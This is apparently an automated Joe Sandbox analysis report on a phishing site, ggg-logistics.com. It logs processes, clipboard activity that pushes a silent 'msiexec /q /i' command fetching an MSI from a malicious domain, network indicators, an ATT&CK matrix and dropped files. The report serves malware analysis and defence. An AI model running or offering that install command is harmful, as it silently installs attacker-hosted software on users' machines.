Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown

Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Replication Through Removable Media	231 Windows Management Instrumentation	1 Windows Service	1 Windows Service	11 Masquerading	OS Credential Dumping	12 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 PowerShell	1 Browser Extensions	11 Process Injection	141 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 DLL Side-Loading	1 DLL Side-Loading	11 Process Injection	Security Account Manager	141 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 File Deletion	LSA Secrets	11 Peripheral Device Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	34 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Name	IP	Active	Malicious	Reputation
windows-msn-cn.org	104.21.69.237	true	false	unknown
events-data-microsoft.live	104.21.86.195	true	true	unknown
www.google.com	142.251.186.103	true	false	high
dnsg-microsoftds-data.com	104.21.84.21	true	true	unknown
ggg-logistics.com	162.254.39.23	true	false	unknown

Contacted URLs

Name	Malicious	Reputation
https://ggg-logistics.com/	true	unknown
http://windows-msn-cn.org/5ktzQ4gu	false	unknown
http://c.pki.goog/r/r4.crl	false	high
http://events-data-microsoft.live/h8xiyPNTne	false	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://dnsg-microsoftds-data.com/sign/cpt.msi-1170417712311832210	~DF0C9E143A6E0CFB0A.TMP.12.dr	false	unknown
http://appsyndication.org/2006/appsynapplicationd:	dotnet-sdk-8.0.408-win-x64.exe.20.dr	false	high
https://dnsg-microsoftds-data.com/sign/cpt.msi-924627712311832210	~DFBA32082EDF3507C6.TMP.12.dr	false	unknown
https://dnsg-microsoftds-data.com/sign/&	58adcc.rbs.12.dr	false	unknown
https://dnsg-microsoftds-data.com/sign/cpt.msi-1225547712311832210	~DF82836FCB2617473A.TMP.12.dr	false	unknown
https://dnsg-microsoftds-data.com/sign/cpt.msi-1569547712311832210	~DF4FD761B139B07E24.TMP.12.dr	false	unknown
https://dnsg-microsoftds-data.com/sign/$	58adcc.rbs.12.dr	false	unknown
https://dnsg-microsoftds-data.com/sign/cpt.msi-1180707712311832210	~DFAB4AAD2F61B7BE4C.TMP.12.dr	false	unknown
https://dnsg-microsoftds-data.com/sign/	MSI1640.tmp.12.dr	true	unknown
https://dnsg-microsoftds-data.com/sign/cpt.msi-1106977712311832210	~DF0342E85147403DCF.TMP.12.dr	false	unknown
https://dnsg-microsoftds-data.com/sign/cpt.msi-1094787712311832210	~DFBD1424DD0C873C40.TMP.12.dr	false	unknown
https://dnsg-microsoftds-data.com/sign/cpt.msi-1145097712311832210	~DFC7BB0FD8F0CD7E43.TMP.12.dr	false	unknown
https://dnsg-microsoftds-data.com/sign/cpt.msi-1033227712311832210	~DF3D1D94328933181E.TMP.12.dr	false	unknown
https://dnsg-microsoftds-data.com/sign/cpt.msi-938227712311832210	~DF603098CE0AB0A3DF.TMP.12.dr	false	unknown
https://dnsg-microsoftds-data.com/sign/cpt.msi-999007712311832210	~DF1D24EE58BC56FB38.TMP.12.dr	false	unknown
https://dnsg-microsoftds-data.com/sign/cpt.msi-1043537712311832210	~DF7A50F0BECDA30773.TMP.12.dr	false	unknown
https://dnsg-microsoftds-data.com/sign/cpt.msi-1071507712311832210	~DF06B2EC84FB19EF43.TMP.12.dr	false	unknown
https://dnsg-microsoftds-data.com/sign/cpt.msi-1053537712311832210	~DF33F16A36E5D89BE5.TMP.12.dr	false	unknown
https://dnsg-microsoftds-data.com/sign/cpt.msi-968377712311832210	~DFC55C3E82A18C9E62.TMP.12.dr	false	unknown
https://dnsg-microsoftds-data.com/sign/cpt.msi-1235387712311832210	~DFE4AB33C0F7FE7109.TMP.12.dr	false	unknown
https://dnsg-microsoftds-data.com/sign/cpt.msi0C:	~DF7CCB8E5AD1D47800.TMP.12.dr, ~DFB7E88B44DBCADE21.TMP.12.dr, ~DFC4233ADB1102091B.TMP.12.dr, ~DFDE0BFD6B31B99776.TMP.12.dr, ~DFBED3FC6B907E192A.TMP.12.dr, ~DF863F1D80E3D3B1FB.TMP.12.dr, ~DFAD00A4388854C47C.TMP.12.dr, ~DF6A184DD7E8DDA85B.TMP.12.dr, inprogressinstallinfo.ipi.12.dr, ~DFE1576488A7C5D445.TMP.12.dr, ~DFCBDF1D6A801BECAE.TMP.12.dr, ~DF19943193402F303A.TMP.12.dr, ~DF7D5774BA7A9861C0.TMP.12.dr, ~DF33F7ADEC987DCAFC.TMP.12.dr, ~DF5BEC298C4E79E0A3.TMP.12.dr, ~DF5100A453738C1B0C.TMP.12.dr, ~DF5FF2C1F0D53A9ABC.TMP.12.dr, ~DF195C2885D470EFB1.TMP.12.dr, ~DFBFD8D217DECCA73E.TMP.12.dr, ~DFDB2E1F92C41DD8A0.TMP.12.dr, ~DFA7D7BCF0D88BB204.TMP.12.dr	false	unknown
https://dnsg-microsoftds-data.com/sign/cpt.msi-1212737712311832210	~DF4D69041888ACABF2.TMP.12.dr	false	unknown
https://dnsg-microsoftds-data.com/sign/cpt.msi-1246797712311832210	~DF187DD88DF0F443BD.TMP.12.dr	false	unknown
https://dnsg-microsoftds-data.com/sign/cpt.msi-1015567712311832210	~DF98BBB0E23AFBBBE8.TMP.12.dr	false	unknown
https://dnsg-microsoftds-data.com/sign/cpt.msi-1132127712311832210	~DF53E788A7273818D2.TMP.12.dr	false	unknown
https://dnsg-microsoftds-data.com/sign/cpt.msi-989007712311832210	~DF1D9183E82CF6E984.TMP.12.dr	false	unknown
https://dnsg-microsoftds-data.com/sign/cpt.msi-915417712311832210	~DF57915A68AEDC5C19.TMP.12.dr	false	unknown
https://dnsg-microsoftds-data.com/sign/cpt.msi-956667712311832210	~DF933E6C7D1787B4BD.TMP.12.dr	false	unknown
https://dnsg-microsoftds-data.com/sign/cpt.msi-1080877712311832210	~DF351ACE8053F70655.TMP.12.dr	false	unknown
https://dnsg-microsoftds-data.com/sign/cpt.msi-1158847712311832210	~DF268BED1551C0C809.TMP.12.dr	false	unknown
https://dnsg-microsoftds-data.com/sign/cpt.msi-1121977712311832210	~DF7558191626F94644.TMP.12.dr	false	unknown
https://dnsg-microsoftds-data.com/sign/cpt.msi-1200547712311832210	~DF643A85A5425C7D99.TMP.12.dr	false	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.84.21	dnsg-microsoftds-data.com	United States	13335	CLOUDFLARENETUS	true
104.21.86.195	events-data-microsoft.live	United States	13335	CLOUDFLARENETUS	true
162.254.39.23	ggg-logistics.com	United States	13768	COGECO-PEER1CA	false
142.251.186.103	www.google.com	United States	15169	GOOGLEUS	false
104.21.69.237	windows-msn-cn.org	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.5

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1702652
Start date and time:	2025-05-30 21:13:27 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 30s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://ggg-logistics.com/
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	113
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal76.phis.evad.win@155/400@7/6

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, Conhost.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 104.69.85.120, 23.53.127.170, 142.250.138.94, 142.251.116.138, 142.251.116.102, 142.251.116.100, 142.251.116.113, 142.251.116.101, 142.251.116.139, 142.250.115.102, 142.250.115.101, 142.250.115.100, 142.250.115.139, 142.250.115.113, 142.250.115.138, 142.251.116.84, 173.194.208.100, 173.194.208.101, 173.194.208.113, 173.194.208.139, 173.194.208.102, 173.194.208.138, 142.251.186.113, 142.251.186.102, 142.251.186.100, 142.251.186.101, 142.251.186.139, 142.251.186.138, 142.250.113.95, 173.194.208.94, 142.250.114.139, 142.250.114.138, 142.250.114.101, 142.250.114.113, 142.250.114.102, 142.250.114.100, 173.194.208.95, 142.250.114.95, 142.251.116.95, 142.250.138.95, 142.250.115.95, 142.251.186.95, 23.192.223.241, 23.192.223.230, 142.251.116.94, 34.104.35.123, 23.47.49.40, 23.47.49.4
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, builds.dotnet.microsoft.com.edgesuite.net, clientservices.googleapis.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, e16604.dscf.akamaiedge.net, clients2.google.com, redirector.gvt1.com, update.googleapis.com, a441.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, c.pki.goog, dotnetcli.trafficmanager.net, fonts.googleapis.com, sn1prdapp01agg02-canary.cloudapp.net, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, fonts.gstatic.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com, builds.dotnet.microsoft.com, c2a9c95e369881c67228a6591cac2686.clo.footprintdns.com, ax-ring.msedge.net, edgedl.me.gvt1.com, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
15:15:11	API Interceptor	2x Sleep call for process: msiexec.exe modified
15:15:13	API Interceptor	186x Sleep call for process: powershell.exe modified
21:15:09	Clipboard	Run: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
21:15:10	Clipboard	Run: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
21:15:11	Clipboard	Run: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
21:15:12	Clipboard	Run: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
21:15:13	Clipboard	Run: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
21:15:14	Clipboard	Run: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
21:15:15	Clipboard	Run: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
21:15:16	Clipboard	Run: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
21:15:18	Clipboard	Run: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
21:15:19	Clipboard	Run: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
21:15:20	Clipboard	Run: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
21:15:21	Clipboard	Run: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
21:15:23	Clipboard	Run: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
21:15:24	Clipboard	Run: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
21:15:25	Clipboard	Run: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
21:15:26	Clipboard	Run: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
21:15:27	Clipboard	Run: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
21:15:28	Clipboard	Run: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
21:15:29	Clipboard	Run: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
21:15:30	Clipboard	Run: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
21:15:32	Clipboard	Run: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
21:15:33	Clipboard	Run: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
21:15:34	Clipboard	Run: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
21:15:35	Clipboard	Run: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
21:15:36	Clipboard	Run: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
21:15:37	Clipboard	Run: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
21:15:38	Clipboard	Run: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
21:15:39	Clipboard	Run: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
21:15:40	Clipboard	Run: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
21:15:42	Clipboard	Run: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
21:15:43	Clipboard	Run: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
21:15:44	Clipboard	Run: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
21:15:45	Clipboard	Run: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
21:15:46	Clipboard	Run: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
21:15:47	Clipboard	Run: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
21:15:48	Clipboard	Run: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
21:15:49	Clipboard	Run: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
21:15:50	Clipboard	Run: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
21:15:51	Clipboard	Run: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
21:15:52	Clipboard	Run: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
21:15:53	Clipboard	Run: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
21:15:54	Clipboard	Run: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
21:15:55	Clipboard	Run: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	8391
Entropy (8bit):	5.541538568385734
Encrypted:	false
SSDEEP:	96:7m2UMegnEnj1UyzKTCsTlDUyzKTC6j0rnkn6FTldBjjYnLswnGnPnGc+s+fCLpg3:y3MeDOoKOIioKO7bn3Lp1A8q
MD5:	E43CCA927A41920E05F499C5A3F1DC52
SHA1:	2EF88B6486FAB8D515E5D5D2A0EC645343AC2DEF
SHA-256:	573931C6B0D93D27E39B4C34D2271AD470164AEB272BB70B205DD39311B5555C
SHA-512:	B8DD6F47F26ABF78366234D3FA64AD5893945BD4A27132115DE60B4EFB878465DED2DC51CE6155F96CAC794AA007B561A91780D810EAAFCD36773270B9507A6F
Malicious:	false
Reputation:	low
Preview:	...@IXOS.@.....@.y.Z.@.....@.....@.....@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}..GoTo..cpt.msi.@.....@.....@.....@........&.{8EB6C5B9-E3E4-4C99-901D-D3213245204A}.....@.....@.....@.....@.......@.....@.....@.......@......GoTo......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]....ProcessComponents..Updating component registration..&.{E2403B4A-7B91-4AD0-8120-725A16F5C9B7}&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}.@........RegisterProduct..Registering product..[1]......C:\Windows\Installer\58adca.msi......C:\Windows\Installer\58adca.msi.@....$..@......Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-21-2246122658-3693405117-2476756634-1003\Products\478E737A8DC283743BF899687E8D9C9C\InstallProperties...@....(.&...LocalPackage..C:\Windows\Installer\58adca.msi$..@......Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-21-2246122658-3693405117-2476756634-1003\Products\478E737A8DC283743BF899687E8D9C9C\In

C:\Config.Msi\58adcc.rbs

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	4264
Entropy (8bit):	5.08035989891243
Encrypted:	false
SSDEEP:	96:7m2bZNeKn6tTldRn6cTlddwn+snG/+riz6zX+Ua+UP:yYZNepRdRgS
MD5:	F5F3CE427DB9DDDFEE5F1E02C8CF3029
SHA1:	D96D0F6DB42BF0E3BD872D88219A8FEF208ED48A
SHA-256:	3E6C92F51130F1A312097FCE7826DA2E0A0E78747EC3CB83D4F3E95089609E5B
SHA-512:	258B871BC5D0E2F697CA10293D6003BF9930B8FD2F8FA97E650B14838439D9BAE99D9A8352136E0BF966F7FFCA5B3FD15011A6DCD5ECCEFDB329C5EB2708FC16
Malicious:	false
Reputation:	low
Preview:	...@IXOS.@.....@.y.Z.@.....@.....@.....@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}..GoTo..cpt.msi.@.....@.....@.....@........&.{8EB6C5B9-E3E4-4C99-901D-D3213245204A}.....@.....@.....@.....@.......@.....@.....@.......@......GoTo......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]....ProcessComponents..Updating component registration..&.{E2403B4A-7B91-4AD0-8120-725A16F5C9B7},.C:\Users\user\AppData\Roaming\GoToMeeting\.@....&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}...@.....@........RegisterProduct..Registering product..[1]$..@......Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-21-2246122658-3693405117-2476756634-1003\Products\478E737A8DC283743BF899687E8D9C9C\InstallPropertiesx.....\...l.............H.........?...................9...................?........... ... ........... ... ................@....$..@....3.Software\Microsoft\Windows\CurrentVersion\Uninstall.............................................. ...!.

C:\Config.Msi\58adce.rbs

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	4264
Entropy (8bit):	5.08035989891243
Encrypted:	false
SSDEEP:	96:om2bZNeKn6tTldRn6cTlddwn+snG/+riz6zX+Ua+UP:9YZNepRdRgS
MD5:	1C9D517F956C293AFBB953E65F8F145C
SHA1:	E64CB3CB6037E13EC727AA668C2501B2BC1DE626
SHA-256:	2221E1C5D3C6EC773D60517784C72A2ECF50B023A3FC0242F37A1B69A999D51B
SHA-512:	33739AA18C9262B05E5FA171722934DBFEE44672A668DDEC9AB3439A35D8BB937BA72E08AACB92348E386FEAA81F6D9953C0758E6544E56FE5AFE4A78A83F49D
Malicious:	false
Reputation:	low
Preview:	...@IXOS.@.....@.y.Z.@.....@.....@.....@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}..GoTo..cpt.msi.@.....@.....@.....@........&.{8EB6C5B9-E3E4-4C99-901D-D3213245204A}.....@.....@.....@.....@.......@.....@.....@.......@......GoTo......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]....ProcessComponents..Updating component registration..&.{E2403B4A-7B91-4AD0-8120-725A16F5C9B7},.C:\Users\user\AppData\Roaming\GoToMeeting\.@....&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}...@.....@........RegisterProduct..Registering product..[1]$..@......Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-21-2246122658-3693405117-2476756634-1003\Products\478E737A8DC283743BF899687E8D9C9C\InstallPropertiesx.....\...l.............H.........?...................9...................?........... ... ........... ... ................@....$..@....3.Software\Microsoft\Windows\CurrentVersion\Uninstall.............................................. ...!.

C:\Config.Msi\58add0.rbs

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	4264
Entropy (8bit):	5.08035989891243
Encrypted:	false
SSDEEP:	96:om2bZNeKn6tTldRn6cTlddwn+snG/+riz6zX+Ua+UP:9YZNepRdRgS
MD5:	1C9D517F956C293AFBB953E65F8F145C
SHA1:	E64CB3CB6037E13EC727AA668C2501B2BC1DE626
SHA-256:	2221E1C5D3C6EC773D60517784C72A2ECF50B023A3FC0242F37A1B69A999D51B
SHA-512:	33739AA18C9262B05E5FA171722934DBFEE44672A668DDEC9AB3439A35D8BB937BA72E08AACB92348E386FEAA81F6D9953C0758E6544E56FE5AFE4A78A83F49D
Malicious:	false
Reputation:	low
